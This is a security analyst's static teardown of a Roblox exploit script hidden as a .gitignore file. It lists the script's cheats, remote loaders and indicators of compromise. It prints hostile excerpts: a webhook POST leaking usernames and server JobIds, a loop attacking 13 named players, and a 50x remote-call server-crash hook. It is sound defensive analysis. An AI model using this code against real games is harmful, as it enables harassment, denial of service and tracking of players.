# Binsploit V5-A — static teardown

**Subject:** `github.com/aresrexh7-beep/binwonk-s-old-ro-wizard-script`
**Artifact:** one file, `.gitignore`, 89,728 bytes → decodes to 86,414 characters / 20,814 tokens of minified Lua
**Method:** static analysis only. Nothing was executed, no executor was installed, no Roblox account touched.
**Analyst artefact:** `binsploit_v5_readable.lua` — the same token stream, beautified, round-trip verified (see §11).

---

## 0. Verdict in one paragraph

This is **Binsploit V5-A**, a Roblox exploit ("executor") script by the v3rmillion author `binwonk#1043` / `binwonkXD` — a UI toolkit plus ~114 cheats across 11 games. It is *not* a credential stealer and contains no obfuscation at all (no VM, no string encryption, no anti-tamper). What makes it hostile is three specific behaviours: it announces **your** Roblox username, executor name and **server JobId** to a third-party webhook on load; it ships an **always-on loop that attacks 13 hard-coded usernames** the moment any of them join your RO-Wizard server; and it includes a **server-crash primitive** (50× `FireServer` amplification). Running it means your account performs the attacking, with your name attached to the telemetry.

---

## 1. Provenance

| Field | Value |
|---|---|
| Repo created | 2025-12-04 06:41:04Z |
| Commit 1 `ccd3342` | `Initial commit` — a 236-byte placeholder `.gitignore` |
| Commit 2 `9cf1074` | `Update .gitignore` / *"the script"* — replaces it with the 89,728-byte payload, 45 seconds later |
| Author identity in code | `binwonk#1043`, in-game account `binwonkXD`, Discord `.gg/4PUwnJ46yj` |
| Lineage | v3rmillion thread `tid=1168739` ("Stream Sniper"); self-described *"the most skidded script on Roblox"* |
| Self-credited parts | "Crash Server found by Pyronym" (in the window subtitle), stream sniper from the v3rmillion thread |
| Repo owner `aresrexh7-beep` | publishes it as *"binwonk's old ro wizard script"* — i.e. an archive/mirror of someone else's build, not the original author's repo |

Two commits, 45 seconds apart, message "the script", zero description, zero stars, no issues. It exists to host one blob.

---

## 2. The delivery trick: a Lua program stored as `.gitignore`

Two layers of camouflage, both trivially reversible:

1. **Filename.** The payload lives in `.gitignore`. GitHub renders it as a plain text configuration file, code search indexes it as a gitignore, and naive malware scanners treat dotfiles as low-signal. `git clone` still delivers it intact — the clone *is* the delivery.
2. **Whole-file string literal.** The entire program is written as **one quoted Lua string on one line**, starting `"repeat wait()until game:IsLoaded()...` and ending `...h(j.Title,j.Body,5)"`, with every inner `"` escaped as `\"`. Any tool that reads the file as a gitignore sees one long pattern line; the operator just strips the outer quotes and runs it in an executor.

Decoding is lossless and mechanical — `unescape_blob()` in `tools/delua.py` strips the quote pair and resolves `\"`, `\\`, `\n`, `\ddd`. No key, no packing, no encoder.

**Consequence for review:** nothing here is hidden *from a reader*; it is hidden from *automated* scanners. The whole program is auditable in an afternoon, which is why this teardown can be exhaustive.

---

## 3. Execution chain

```
[1] executor console (Synapse X / KRNL / Fluxus / SirHurt / Sentinel / WeAreDevs …)
        │  script pasted or loadstring'd from the repo blob
        ▼
[2] runtime gate inside executor          syn.request / http_request / hookmetamethod /
        │                                  getgc / getrawmetatable / Drawing / keypress /
        │                                  firetouchinterest / writefile / makefolder / isfolder
        │  → hard-fails on console-only or vanilla Roblox
        ▼
[3] 4 remote code loads (see §6)          rbxassetid://7657867786 (UI library),
        │                                  api.irisapp.ca (notifications),
        │                                  .../BinsploitESP.lua (ESP library)
        ▼
[4] instantiate UI                        d = CreateWindow "Binsploit V5-A"
        │                                  11 tabs, 114 controls
        ▼
[5] telemetry POST                        one shot, unconditional, at build time (§5.2)
        │
        ▼
[6] dispatch by place id                  for b,c in pairs(b) do
        │                                     if b == tostring(game.PlaceId) or
        │                                        b == tostring(game.GameId) then c() end
        ▼
[7] persistent behaviours                 __namecall hook (kick-block, one-shot, FallReport block),
                                           PlayerAdded hooks (ESP, targeted fling loop §5.1),
                                           Idled anti-AFK clicker
```

Stage 6 is worth noting: the cheat payload is a **table keyed by stringified PlaceId / GameId**, dispatched after the UI is built. Adding a game is adding a table entry — no plugin system, so a tampered build can only *replace* entries, not silently add new ones. The table is fully enumerated in `binsploit_v5_readable.lua` lines 839–1915 (`RO-Wizard` tab at :839, dispatch at :1909).

---

## 4. Capability inventory

114 controls total. "Server-side effect" = reaches other players through a `RemoteEvent`/`RemoteFunction`, as opposed to client-only cosmetics.

### Universal (62 controls) — works in any place

| Group | Controls | Notes |
|---|---|---|
| Session | Rejoin, Auto Rejoin, Server Hop, Queue On Teleport, Auto Clear Errors/Kicks | Queue-on-teleport re-downloads a **gist** after every teleport |
| Social | Chat Spy, Chat Spam (message + delay + toggle), Invite Friends ×2 | Chat Spy logs `/w` whispers of everyone to your chat |
| Movement | WalkSpeed, JumpPower, Default ×2, Noclip, Infinite Jump, Disable Seats | plus global metatable hooks so the server-side anti-cheat reads faked values |
| Targeting | Goto Player, View Player, Unview Player, Death Teleport | |
| ESP | Mode (Highlight / BoxHandleAdornment), 4 colours, Transparency, Rainbow, Nametags | implemented in the remote `BinsploitESP.lua` |
| Aimbot | Keybind, Method (Mouse/Camera), Mouse mode, Smoothness, Team/Health/On-Screen/Visibility checks, FOV circle (size/sides/visible) | `mousemoveabs` / `mousemoverel` — *client* input spoofing |
| Combat | Hitbox Extender (part + size + colour) | server-visible hitbox inflation |
| Network | Lagswitch (`settings().Network.IncomingReplicationLag = 10000`) | freezes your inbound replication |
| Bypasses | Spoof WalkSpeed & JumpPower, Bypass Local Kicks | hook-based |
| Tooling | Infinite Yield, SimpleSpy, SimpleSpy V3, Hydroxide | loads **4 more remote scripts** on demand |
| Fun | Music player (writes files to `binsploitM/`), Stream Sniper | Stream Sniper pages the public server list by `PlaceId` until it finds a target user's `requestId` |

### Game-specific (52 controls)

| Tab | Place / GameId | Controls | Highlights |
|---|---|---|---|
| **RO-Wizard** | `3082707367` | 16 | Kill Player, One Shot, Fling/Kill All, Mod Wand, Hoop + Potion autofarm, Get Headmaster Key, Free Store, Get All Spells, Obtain Unobtainables, Legilimens, Bring Player, material-replacer, **Crash Server** |
| **Prison Life** | `73885730` | 11 | Kill Aura, One Shot Punch, Mod All Guns (`FireRate=0.001`, `AutoFire=true`), God Mode, Get All Guns, team switch, Anti Taze, Remove All Doors |
| **Arsenal** | `111958650` | 5 | Infinite Ammo, Always Auto, FireRate, No Recoil, Wallbang |
| **Legends of Speed** | `1119466531` | 4 | Hoop/orb autofarm via `firetouchinterest`, auto rebirth, race-finish teleport |
| **Skydive Off A Tower** | `11868251164` | 5 | money `validate_skydive` with `9999999999`, negative money, auto-buy loops |
| **Lucky Block Battlegrounds** | `662417684` | 6 | spawns Lucky/Super/Diamond/Galaxy/Rainbow blocks ×N |
| **Tower Of Hell** | `1962086868`, `3582763398` | 2 | delete kill parts, TP to finish, disables the game's LocalScript `Changed` connections |
| **World Of Stands** | `6728870912` | 1 | chest autofarm (tween + proximity prompt) |
| **Grapple People** | `6338482540` | 1 | grapple any player to you |
| **Abyss World** | `12151453277` | 1 | no fall damage |
| — | `286090429` | — | chat-spam **exemption** for Work at a Pizza Place (deliberate: avoids their strict chat filter) |

---

## 5. The three findings that matter

### 5.1 Always-on attack on 13 named accounts (`_G.AntiRoWizTard`)

`binsploit_v5_readable.lua:7` — the flag is set **before anything else**, hard-coded:

```lua
until game:IsLoaded()
_G.AntiRoWizTard = true
```

No toggle exposes it. No menu item turns it off. Two identical loops (`:1874` inside `PlayerAdded`, and `:1895` for players already present) then do this, in place `3082707367` only:

```lua
if b.Name == "3Purple_Blood3" or b.Name == "fvoltro" or b.Name == "Ro_WizardPro19400"
   or b.Name == "TheEmpressOfDoom" or b.Name == "aliennators" or b.Name == "ambre131308"
   or b.Name == "pro11117777" or b.Name == "chanel_desmonts50" or b.Name == "kaarootkaa"
   or b.Name == "Poronzio" or b.Name == "Lee_Suelbi7" or b.Name == "Stormyyye"
   or b.Name == "Rainbowxcupcake_lily" then
    spawn(function()
        while wait() do                       -- no throttle: every frame
            game:GetService("ReplicatedStorage").Modules.Network.RemoteEvent:FireServer(unpack({
                [1] = "HandleDamage",
                [2] = { Type = "Normal", Hit = victim.HumanoidRootPart,
                        Norm = Vector3.new(math.huge, math.huge, math.huge),
                        Pos  = victim.HumanoidRootPart.Position,
                        SpellName = "levicorpus" }          -- the in-game levitation jinx
            }))
        end
    end)
end
```

Thirteen usernames, two code paths, `math.huge` on the normal vector, fired at frame rate. `levicorpus` is the game's levitation/flying jinx — sending it with an infinite magnitude is the standard "fling" primitive: the victim's character gets launched with unbounded velocity, which usually kills them by fall damage and can desync or disconnect them.

Two details that make the intent unambiguous rather than "just a feature":
- the list is **specific named players**, not a team, not a role, not "the person who killed me";
- the flag name (`AntiRoWizTard`) and the repo title ("old ro wizard script") frame it as a feud, and it fires **automatically**, so whoever runs the script becomes the attacker without choosing anything.

There is also a `Kill Player` textbox (`:843`) that fires the same `HandleDamage` 7× against any named target with `SpellName = "stupefy"`, and `Fling/Kill All` (`:908`) which does the same forever against the whole server. Those need a toggle. The 13-name loop does not.

### 5.2 Telemetry on load — username, executor fingerprint, PlaceId, **JobId**

`binsploit_v5_readable.lua:681–686`, executed inline while the Hitboxes section is being built (i.e. at script start, no interaction required):

```lua
local payload = { embeds = {{ title = "Binsploit V5", color = 13632027,
  footer = { text = "go away" },
  fields = {
    { name = "Username:", value = LocalPlayer.Name },
    { name = "Exploit:",  value = detectExecutor() },   -- Synapse / Sentinel / Sirhurt /
                                                        -- ProtoSmasher / Krnl / WeAreDevs /
                                                        -- Proxo / Shadow / EasyExploits /
                                                        -- Calamari / VIVA / Coco / "Undetectable"
    { name = "Time:",     value = os.date() },
    { name = "PlaceID:",  value = game.PlaceId },
    { name = "JobId:",    value = game.JobId },          -- ← the sensitive one
  }}}}
urll = "https://vineyard.performave.com/api/webhook/v1/proxy/5a7c4f27-ebde-4648-9396-92146cde1f3c"
local t = http_request or request or HttpPost or syn.request
t({ Url = urll, Body = HttpService:JSONEncode(payload), Method = "POST",
    Headers = { ["content-type"] = "appl".."ication/js".."on" } })
```

Why `JobId` matters: `PlaceId` only says *which game*; `JobId` identifies **that exact server instance**. With it, anyone holding the Discord channel can call `TeleportService:TeleportToPlaceInstance(3082707367, jobId, …)` and land in your server within seconds. `syn.request` with a Roblox thumbnail/servers API in the same script shows the author already knows that endpoint set. The `content-type` header is deliberately split (`"appl".."ication/js".."on"`) — pure pattern evasion against static scanners; `HttpService:JSONEncode` supplies the real body anyway.

The proxy host `vineyard.performave.com` is a third-party Roblox webhook relay, so the destination Discord channel is not directly exposed in the script.

**Correction to a common claim (and to my first read):** the script *also* contains a reversed char-code string —

```
/52/54/49/56/52/49/57/51/51/48/47/.../70/69/118/     (:106)
```

which decodes to `4618419330/eDTOaTwa-1yxkBZL6Gk9X9fIqENHut9i5lrhTvRd2dx99NzeNffvuqEmrlBawTB74FEv` — shaped exactly like a Discord webhook `id/token`. **It is dead code.** The decoded parts are only iterated (`for b,b in pairs(e) do tonumber(b) end`), copied to a global `skjlflo`, and never concatenated into a URL. Likewise `local d = "https://discordapp.com/api/web"` (`:9`) is immediately overwritten by the `loadstring` on the next line. The only live exfiltration path in this build is the performave proxy above.

### 5.3 `Crash Server (By Pyronym)` — remote amplification primitive

`:1031`:

```lua
local meta = getrawmetatable(game)
local orig = meta.__namecall
setreadonly(meta, false)
meta.__namecall = function(self, ...)
    local method = getnamecallmethod()
    if self.Name == "SayMessageRequest" then return orig(self, ...) end  -- only exempt
    if method == "FireServer" or method == "InvokeServer" then
        for i = 1, 50 do orig(self, ...) end          -- 50× every remote call
    end
    return orig(self, ...)
end
wait()
HumanoidRootPart.CFrame = CFrame.new(223.30, -57.77, 280.25)   -- hard-coded spot
wait(0.1)
spawn(e) spawn(f)     -- broom-destruction loop + material-replacement loop
```

Every `FireServer`/`InvokeServer` in the game — yours and the game's own client code that goes through the same metatable — is multiplied by 50. Combined with the material-replacement loops and the unlimited `levicorpus` traffic from §5.1, this is a server-side DoS aimed at the *instance*, not at a player. Pyronym is credited in the window subtitle, so this is borrowed, not written by binwonk.

---

## 6. Supply chain: what else runs that isn't in the repo

| # | Endpoint | Pinned? | Purpose | Risk |
|---|---|---|---|---|
| 1 | `rbxassetid://7657867786` via `game:GetObjects(...)[1].Source` | Roblox asset, can be re-uploaded/owned | **UI library** (window/tabs/sliders) | Loaded as code from an opaque asset id — the author can swap it without touching the repo |
| 2 | `api.irisapp.ca/Scripts/IrisBetterNotifications.lua` | **no** | notification library | third-party, mutable |
| 3 | `gist.githubusercontent.com/binwonk/b8276cf8…/…/BinsploitESP.lua` | **yes** (commit `e14d1641`) | ESP engine | author's own, revision-pinned |
| 4 | `gist.githubusercontent.com/binwonk/25dc0680…/…/218932139.lua` | **yes** (commit `7e18618a`) | re-injected by `syn.queue_on_teleport` after every server hop | author's own, revision-pinned |
| 5 | `raw.githubusercontent.com/EdgeIY/infiniteyield/master/source` | **no** | Infinite Yield admin panel | mutable `master` |
| 6 | `github.com/exxtremestuffs/SimpleSpySource/raw/master/SimpleSpy.lua` | **no** | remote spy | mutable |
| 7 | `raw.githubusercontent.com/78n/SimpleSpy/main/SimpleSpySource.lua` | **no** | remote spy v3 | mutable |
| 8 | `raw.githubusercontent.com/%s/Hydroxide/%s/%s.lua` | template | remote spy | parameters supplied at call time |

Auditing this file therefore does not audit the program you end up running: 6 of the 8 code sources are mutable (the Roblox asset id, Iris, Infinite Yield, both SimpleSpy forks, Hydroxide) and only the two binwonk gists are revision-pinned.

---

## 7. Indicators of compromise

```
# payload hosts
github.com/aresrexh7-beep/binwonk-s-old-ro-wizard-script   (blob in .gitignore, commit 9cf1074)
gist.githubusercontent.com/binwonk/b8276cf81983acdc83fef92f254b59c6   (BinsploitESP.lua)
gist.githubusercontent.com/binwonk/25dc0680fa2abe5748245f85725f6516   (218932139.lua)
vineyard.performave.com/api/webhook/v1/proxy/5a7c4f27-ebde-4648-9396-92146cde1f3c
api.irisapp.ca/Scripts/IrisBetterNotifications.lua

# in-client artefacts
_G.AntiRoWizTard            (global flag, always true)
skjlflo                     (global, dead webhook string)
folder "binsploitM/"        (written by the music player via makefolder/writefile)
files  DISCORDNITROFREE*.txt (only if the NITRO branch were enabled — 0-byte GUID spam)
window title "Binsploit V5-A"   subtitle "Binsploit V5 by binwonk#1043"

# in-game fingerprints
chat message: "binwonk#1043, creator of Binsploit V5, joined your server! Say hi!"
chat message: "binwonk#1043, creator of Binsploit V5, is in your server! Say hi!"

# affected places
3082707367  RO-Wizard           73885730    Prison Life
111958650   Arsenal             1119466531  Legends of Speed
11868251164 Skydive Off A Tower 662417684   Lucky Block Battlegrounds
1962086868 / 3582763398 Tower of Hell
6728870912  World Of Stands     6338482540  Grapple People
12151453277 Abyss World         286090429   Work at a Pizza Place (spam exemption)
```

If a server admin needs to check for it: look for the two chat lines above, a player teleporting to `CFrame.new(223.30, -57.77, 280.25)` in RO-Wizard, and a burst of 50× duplicate `FireServer` traffic. Persistence on the *player's* machine is a folder `binsploitM/` in the executor workspace; the script does not touch `%APPDATA%`, browsers, or credentials.

---

## 8. What is broken, fake, or dead

Useful for weighing the author's skill (low) versus the risk (real):

| Claim | Reality |
|---|---|
| "Mod Wand" toggle | labelled **"(Toggle Not Working)"** by the author himself |
| "Recieve Nitro" | gated behind `if c == "NITRO"` where `c = "NO_NITRO"` — dead. If reached, it would spin `while true do writefile("DISCORDNITROFREE"..rand..".txt", GenerateGUID())` — a Discord-nitro-scam joke that fills the disk |
| Webhook id/token in reversed char codes | decodes fine, **never used** (see §5.2) |
| `local d = "https://discordapp.com/api/web"` | overwritten on the next line |
| `local m = false` / `local m = true` (lines 41-42) | classic skid artefact — dead first assignment |
| `print(flingPos)` in both attack loops | `flingPos` is never defined → prints `nil` every frame |
| First attack loop's `Pos` field | `HumanoidRootPart.HumanoidRootPart` → `nil`; the second copy uses `.Position` and is the one that works |
| Variable naming | every scope re-declares `b, c, d, e, f, g` — 8-level shadowing makes the file hostile to human review, not to analysis |
| Origin | self-described "most skidded script"; Crash Server credited to Pyronym, stream sniper to a v3rmillion thread, Infinite Yield / SimpleSpy / Hydroxide loaded wholesale |

This matters for threat assessment: the *capability* is real and tested against live games, but there's no sophisticated defence evasion — no VM, no anti-debug, no environment fingerprinting beyond `detectExecutor()` for the telemetry field. A competent admin detects it easily; a competent analyst reads all of it.

---

## 9. If it has already been run

1. **Roblox account** — this violates the Roblox Terms of Use (exploiting / third-party modification). Expect a ban on detection; the scripts' own traffic is the evidence. Nothing to "clean" client-side, but change the password and enable 2FA if the account matters.
2. **Executor** — these are the real risk, not this script: executors ask for elevated privileges and are the standard vector for actual stealers. Uninstall it, and treat any Roblox cookie/session as compromised (check `Settings → Security → active sessions`).
3. **Server operators** — the JobId leak means the server can be joined by the script's audience. Rotating the server (rejoin) is the only mitigation; there is no remote admin command in this build.

---

## 10. Not a malware sample

To be precise about what this is *not*: no browser/credential access, no `os.execute`/`io.open` on system paths, no persistence outside the executor sandbox, no keylogging, no crypto wallets, no self-update outside the listed gists. It is a **game cheat with telemetry and a built-in griefing payload**, distributed through a file-name trick. The interesting part is not the cheating — it's the `.gitignore`-as-payload warehousing and the always-on named-target loop that turns any user into the attacker.

---

## 11. Reproducibility

`tools/delua.py` (in this folder's sibling `tools/` directory) does the whole pipeline:

```bash
python3 tools/delua.py
# roundtrip_ok: True  tokens: 20814  lines: 1911
```

- `unescape_blob()` strips the outer quote pair and resolves Lua escapes → 86,414 chars
- `tokenize()` produces 20,814 tokens (strings, numbers, names, symbols; no comments exist in the blob)
- **round-trip assertion**: re-concatenating every token, whitespace-stripped, must equal the whitespace-stripped source — so the beautified output provably contains no lost, added or reordered token. Formatting cannot change semantics.
- `beautify()` is heuristic (block-keyword indent + statement splitting); it cannot introduce or remove tokens, only whitespace.

Output: `teardown/binsploit_v5_readable.lua`, 1,911 lines, line numbers cited throughout this document refer to it.
